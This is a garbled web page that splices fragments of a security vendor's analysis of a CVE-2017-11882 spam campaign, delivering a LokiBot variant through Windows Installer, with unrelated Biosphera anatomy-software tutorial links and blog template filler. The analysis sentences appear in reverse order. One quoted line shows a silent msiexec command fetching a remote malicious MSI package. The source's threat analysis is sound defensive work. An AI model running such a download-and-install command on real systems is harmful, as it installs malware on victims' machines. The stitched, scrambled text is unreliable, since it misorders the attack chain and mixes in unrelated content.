Why does it use a new installation method? The malware sample we identified as a LokiBot variant However, it is modular enough to deliver other payloads.įigure 7. So far, we have seen this technique used to deliver a sample we detected as LokiBot (TROJ_LOKI.SMA). Hollowed out instance of MSIL debugger view This instance will be hollowed out and replaced with the malware payload.įigure 6. The binary launches another randomly-named instance of itself. While this is relatively simple, being able to detect and identify the actual payload might be more difficult since it is contained in the heavily obfuscated MSIL or Delphi binary. One notable aspect of the package is that it provides a compression layer that file scan engines need to process and enumerate in order to detect the file as malicious. Depending on the MSI package downloaded, it may contain either a heavily obfuscated Microsoft Intermediate Language (MSIL) or Delphi binary file, which then acts as a loader for the actual payload. Once downloaded, Windows Installer ( msiexec.exe) will proceed to install an MSIL or Delphi binary to the system. msiexec.exe gives the binary the file name MSIFD83.tmp The exploitation of this vulnerability leads to the download and installation of a malicious MSI package labeled zus.msi via Windows Installer through the following command line:Ĭall cmd.exe /c msiexec /q /I “hxxps// Spam email containing the document file used to exploit CVE-2017-11882įigure 3. However, the attachment is actually used to exploit CVE-2017-11882.įigure 2. The email also contains an attached document file labeled “Payment copy.Doc” (Detected by Trend Micro as TROJ_CVE201711882.SM) which is supposedly a payment confirmation document. The email contains text written in Korean, which is roughly translated as “ hello, please check if your PC may be infected by virus or malicious codes,” apparently to warn the recipient about possible infections. It starts off with an email that asks the recipient to confirm a payment they made to the sender. The samples we analyzed seem to be part of a malware spam campaign. This attack uses msiexec.exe as part of the Windows Installer service. This differs from previous malware that exploited the vulnerability using the Windows executable mshta.exe to run a Powershell script, which is used to download and execute the payload. Recently, we discovered CVE-2017-11882 being exploited again in an attack that uses an uncommon method of installation-via the Windows Installer service in Microsoft Windows operating systems. However, this didn’t prevent cybercrime groups such as Cobalt from exploiting this vulnerability in order to deliver a variety of malware, including FAREIT, Ursnif, and a cracked version of the Loki infostealer, a keylogger that was primarily advertised as capable of stealing passwords and cryptocurrency wallets. » The software is compatible with Windows 8/8.1/10 and macOS 10.13 or above.Back in November 2017, Microsoft patched CVE-2017-11882, a remote code execution vulnerability that affected Microsoft Office. The Software is intended to be a supplemental educational resource and should NOT be used as the only source of educational information, nor should the Software be used as medical advice or for medical diagnoses of any kind. Tutorial: How to use the 3D Virtual Cell software (mobile devices version).Tutorial: How to use the 3D Virtual Cell software (desktop version).Tutorial: How to use Biosphera’s Veterinary Anatomy software (desktop version).Tutorial: How to use Biosphera’s Veterinary Anatomy software (2.0 desktop version).Tutorial: How to use Biosphera’s Veterinary Anatomy apps (new interface).Tutorial: How to use Biosphera’s Veterinary Anatomy apps (mobile devices version).Tutorial: How to use Biosphera’s 3D Human Anatomy software (desktop version).Tutorial: How to use Biosphera’s 3D Human Anatomy App (new interface).Tutorial: How to use Biosphera’s 3D Human Anatomy App (mobile devices version).How to use Biosphera’s 3D Human Anatomy software (2.0 desktop version).Instructions to install our software on macOS.Image gallery: 3D Human Anatomy Introduction software.Image gallery: 3D Horse Anatomy software.Image gallery: 3D Frog Anatomy software.Image gallery: 3D Fish Anatomy software.Image gallery: 3D Bovine Anatomy software.Image gallery: 3D Bird Anatomy software.
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |